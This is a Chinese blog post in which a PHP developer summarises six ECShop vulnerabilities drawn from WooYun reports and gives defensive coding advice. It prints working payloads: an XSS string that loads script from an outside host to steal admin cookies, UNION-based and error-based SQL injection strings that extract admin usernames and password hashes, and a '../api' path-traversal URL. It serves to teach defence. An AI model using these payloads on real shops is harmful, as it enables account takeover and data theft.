注意：这里只说下PHP程序的一些漏洞，不涉及服务器其它系统安全。

  这段时间的看了看一些PHP系统程序安全漏洞的文章，觉得做为一个PHP开发人员，如果不去看重这些漏洞，则不是一个合格的程序员。

PHP的漏洞很多，为了给自己提醒，也为了不断添加新的漏洞预防方法，在这里写下自己当前所知道的预防方法。如有不正确的地方还请指正。

我当前工作中主要是对ecshop的二次开发，一直以为这个系统经过了这么多年，应该不会有太多的漏洞。最近搜了下，发现漏洞还挺多的。

所以下面就以ecshop为例说明下这个系统的漏洞。需要说明的是，这些漏洞不是我发现的，只是我搜到的，放在这里只为以后好找，并且在这里在做一个总结！

XSS***。百度说

           xss***是恶意***者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。

其实是就在页面中恶意插入一段HTML或JS代码。当访问该页面时就有可能触发这段代码执行恶意操作。一般这段代码是一段JS代码或一个引入的文件路径等。这些代码大多是执行JS操作送发一些重要信息给***者。大部分是获取一些COOKIE数据，当然如果该页面还有更重要的数据那都有可能被获取，或都有其它操作会修改客户的重要数据。

SQL注入。百度说

所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令

           下面来说下ecshop里的几个漏洞：

1. ecshop最新版本存储XSS至后台。来源：http://www.wooyun.org/bugs/wooyun-2010-023731

  这个漏洞是利用定单处理页面：flow.php的填写收货人地址页面没有对邮件进行有效的过滤，导致管理员在后台的订单页。比如我们在邮件框中输入

" onmouseover="$import('http://www.gongJiDeJS.com/test.js','js')" "

其它内容老实填好，虽然在在init.php文件中会进行一个addslashes但写入数据库后内容就恢复输入的内容了。

源代码包含：

<td align="left" valign="top"><a href="mailto:" onmouseover="$import('http://www.gongJiDeJS.com/test.js','js')" "">

这是收货人，但也是XSSa> [TEL: 18058190409] <br/>XSS***，只要鼠标移过来就上当了td>

看到上面红色的文本我相信大家都懂，只要鼠标移上来后就会触发$import('http://www.gongJiDeJS.com/test.js','js')。而$import是ECSHOP自定义的一个JS函数，动态加载JS文件。到这里想想就知道，如果加载的http://www.gongJiDeJS.com/test.js文件做手脚就很方便的把当前COOKIE的数据发送给***者，这个时候如果***者自己创建COOKIE就可以进入后台，剩下的就不用说了(如果管理员的权限够高整个系统数据都在***者手中)。

这种漏洞虽然在客户端用了JS判断邮件合法性但客户端JS可以关闭，所发在开发时不要太相信客户端的JS判断。JS只是一个增加客户体验，不能完全相信提交过来的数据。尤其是***者，他们会想提交各种***串来达到目的。程序在使用这些数据时也不能只通过addslashes来添加转义。要严格判断提交数据的合法性，如邮件必须判断为正确的格式，显示的文本要判断是否有script标签或其它的引入文件标签防止加载***JS代码丢失客户或管理员的COOKIE。包含html标签的都转换为HTML特殊符号转义等。尽量不要直接使用。


2. ecshop最新版本SQL注入+存储XSS=任意管理员登录。来源：http://www.wooyun.org/bugs/wooyun-2010-023188

  这个漏洞是利用站外广告统计处理页面：affiche.php的from参数传入SQL，直接写入数据库ecs_adsense中在后台管理员进入 报表统计 -> 站外投放JS 菜单时该页面又没有对这个参数进行过滤便使用到第二个SQL中很容易形成了“二次注入”。

比如在URL上输入：http://www.test.com/affiche.php?from=a.baidu.com%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.gongJiDeJS.com%2Ftest.js%22%3E%3C%2Fscript%3E&ad_id=-1

源代码包含：

<td>站外JS调用商品td><td>a.baidu.com<scripttype="text/javascript" src="http://www.gongJiDeJS.com/test.js">script>td><tdalign="right">21td><tdalign="right">0td><tdalign="right">0td>

同第一个类似，可以方便的获取管理员的COOKIE，然后就....

如果这个时候你知道了该系统的表前缀，还可以进行SQL注入获取管理员的密码。比如当前的表前缀为ecs_ 在URL输入：http://www.test.com/affiche.php?from=a.baidu.com%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.gongJiDeJS.com%2Ftest.js%22%3E%3C%2Fscript%3E'%20and%201=2%20union%20select%20group_concat(user_id,'|',user_name,'|',password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1

源代码包含：

<td>站外JS调用商品td><td>a.baidu.com<scripttype="text/javascript" src="http://www.gongJiDeJS.com/test.js">script>' and 1=2 union select group_concat(user_id,'|',user_name,'|',password) from _admin_user order by 1 desc#td><tdalign="right">21td><tdalign="right">1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427etd><tdalign="right">1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427etd>

这种方法只要通过引入的JS取出<tdalign="right">1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427etd>里面的内容就可以得到管理员的帐号与密码。

当然还有其它可用的SQL来注入，获取想要的内容，比如系统配置数据，等。

这种漏洞完全是程序没有对提交的数据进行过滤，虽然的客户端没有什么影响，但管理员进入后台时，打开对应的页面就会执行***者想要的操作，如果***者能及时得到管理员的COOKIE就可以进入后台管理，达到***的目的。来源地址中说解决方案是  addslashes, 输出时过滤 虽然解决了问题 我个人认为不好，应该从输入时就过滤，去掉不合法的地址，当然这个难度有点大。但程序严谨。


3. ecshop最新版本一处用户权限越权。 来源：http://www.wooyun.org/bugs/wooyun-2010-023296

  这个漏洞是利用了页面中的隐藏表单元素。强制修改里面的值来破坏数据库里的记录。

  ecshop里的用户可以修改自己的配送地址，但存在着address_id隐藏域，只要动修改下里面的值进行循环就可以清空或修改所有其它用户的配送地址。

  主要的是修改配送地址的程序没有做用户判断，而直接用了配送ID筛选，使用的程序是

/includes/lib_transaction.php 516行,save_consignee方法
if ($consignee['address_id'] > 0)
{
/* 修改地址 */
$res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']); //看，没判断user_id吧？
}

  虽然这个漏洞不能获取管理员的数据，但是可以破坏用户的配送地址。极其不安全。

这个漏洞利用的是SQL查表筛选条件不足，在修改配送地址时没有以用户ID加配送ID进行筛选，只用到了配送ID，如果我们修改配送ID那就可以直接修改其它不属于该用户的配送数据，一断循环那就会影响整个配送表的数据，因此在查表时一定要做好筛选，尤其是接受提交数据进行筛选，能进行用户ID的一定要加上去，避免类似漏洞发生，同样要对这个提交过来的筛选内容进行过滤，能为数字一定要强制转换下等。


4.ecsho后台任意用户可以下载整站源码。来源：http://www.wooyun.org/bugs/wooyun-2010-023124

这个漏洞是利用了后台备份模板模块的漏洞，没有过滤备份的文件名就执行备份操作，当然这个漏洞必须要有后如管理帐号才可以***。

  要ecshop后台模板管理 -> 模板选择 菜单中有一个模板备份功能，看似很安全的操作，但只要涉及到提交我们都可以自定义提交一些数据来达到***的目的。我们可以摸清备份当前模板 按钮是一个JS调用AJAX来请求备份操作，所调用的是backupTemplate这个函数

/** * 备份当前模板 */function backupTemplate(tpl){  Ajax.call('template.php?is_ajax=1&act=backup', 'tpl_name=' + tpl, backupTemplateResponse, "GET", "JSON");}

从这里我们可以看到请求的地址规则是： template.php?is_ajax=1&act=backup&tpl_name=模板目录名

到这里可能还看不出来什么问题，重要的是在PHP程序里没有进行验证数据

if ($_REQUEST['act'] == 'backup')

{

include_once('includes/cls_phpzip.php');

$tpl = trim($_REQUEST['tpl_name']);

$filename = '../temp/backup/' . $tpl . '_' . date('Ymd') . '.zip';

$zip = new PHPZip;

$done = $zip->zip('../themes/' . $tpl . '/', $filename);

不清楚开发者是怎样看待这个问题的，但是这个问题确实存在，如果被***者拿到源代码那就可以进一步的了解网站的修改量，版本等信息，极为不安全。

当我们输入URL：template.php?is_ajax=1&act=backup&tpl_name=../api

结果会是备份了api里的所有文件。

这个漏洞也是利用了没有验证提交的数据引起的，所以解决方法也是对这个提交数据进行验证，当然也可以添加一些权限设置。


5.ECSHOP全版本注入漏洞（二次注入）。来源：http://www.wooyun.org/bugs/wooyun-2010-016651

这个漏洞利用了PHP程序没有对数据进行验证，从而进行SQL二次注入，如果没有经历的程序员一般都不会想到一个下拉表单都可以做数据伪装，事实上这个完全可以伪装。

我们只要注册一个会员，然后进行配送地址修改或下单进入添加配送地址页面中，我们可以通过火狐浏览器修改下拉表单option的值然后其它的老实填好提交。

在值后面添加如下的内容，就可以得到管理员的帐号，但密码是加密码的所有这里只是演示

) and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

提交后就会报错并，显示出我们想要的数据。


6.Ecshop csrf可劫持用户账号。来源：http://www.wooyun.org/bugs/wooyun-2010-024625

这个漏洞利用了程序没有对提交过来的修改数据进行身份识别，一般***者可以创建一个类似的页面通过某种手段使登录的用户又进去了***者设置好的陷阱，只要用户进入这个陷阱后就会提交数据到用户信息修改地址页面中，如果没有身份识别那么程序会接受修改的内容，只要数据格式合法。一般***者***的是可以通过邮箱找回密码的网站，只要修改了邮箱为自己的邮箱就可以通过找回密码的方式进去用户的帐户。当然这种***是需要条件的，首先用户必须登录，然后引诱进入***陷阱页面提交数据，最后得到用户名，修改密码。这种漏洞可以通过验证码来识别身份，或者生成一个随机串都是可以的，主要是防止程序接受自动提交数据。只要能识别是人为操作基本就安全了。

个人感想：

   这里所能说明的是大部分PHP程序漏洞。基本是没有对用户提交来的数据进行验证导致的，所以我个人认为对客户提交的所有数据进行适当的验证转换是网站安全的基本，当是数值的一定要强制转换为对应的数值类型，当是字符串的一定要加addslashes处理下，邮箱一定要进行匹配验证，电话号，等。多次查询时尽量使用连接查询，如果非要做二次查询SQL时并且使用到用户提交过来的数据（字符串类的）一定要再加一次addslashes才能进入SQL中，否则容易产生二次注入，如果要显示客户提交过来的文本类数据要进行htmlentities转换HTML实体字符，解决掉XSS***的可能，如果特殊情况不能去掉HTML实体字符，那必须处理好JS的引入操作，查找出一些script,标签，和一些JS事件，要尽可能的防止***都提交过来的JS操作，最后一点提交数据尽可能的进行人为识别，防止恶意自动提交数据。